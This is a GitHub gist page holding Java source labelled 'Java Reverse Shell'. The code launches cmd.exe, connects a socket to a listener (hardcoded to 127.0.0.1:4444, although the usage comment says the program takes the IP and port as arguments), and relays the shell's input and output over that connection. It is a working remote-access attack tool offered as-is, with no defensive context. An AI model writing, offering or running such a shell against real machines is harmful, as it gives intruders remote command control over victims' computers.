Skip to content

Instantly share code, notes, and snippets.

@ricardojba
Created September 11, 2021 22:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save ricardojba/8ebfcba04cebf7d4702fd48af7efa35b to your computer and use it in GitHub Desktop.
Save ricardojba/8ebfcba04cebf7d4702fd48af7efa35b to your computer and use it in GitHub Desktop.
Java Reverse Shell
// javac C.java
// java C <ip> <port>
// https://gist.github.com/caseydunham/53eb8503efad39b83633961f12441af0
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class C {
public static void main(String[] args) throws Exception {
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment